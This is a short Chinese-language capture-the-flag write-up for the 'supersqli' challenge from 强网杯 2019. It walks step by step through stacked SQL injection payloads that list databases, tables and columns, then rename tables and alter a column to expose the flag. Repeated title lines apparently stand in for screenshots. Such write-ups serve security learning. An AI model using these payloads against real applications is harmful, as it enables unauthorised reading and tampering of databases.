CTF supersqli

题目来源: 强网杯 2019

题目描述: 随便注

题目场景: http://220.249.52.133:31334 (温馨提示:每次进入URL的端口号都不一样)

1、点击链接进入如下界面

CTF supersqli
2、‘1’—>提交

CTF supersqli
3、使用union select 爆字段 —>提交
CTF supersqli
4、1’;show databases;#—>提交
CTF supersqli
5、1’;show tables;#—>提交

CTF supersqli
6、1’;show columns from words;#(查询words表中所有列:)—>提交

CTF supersqli
7、1’;show columns from 1919810931114514;# —>提交

CTF supersqli
8、1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#—>提交

CTF supersqli

9、1

CTF supersqli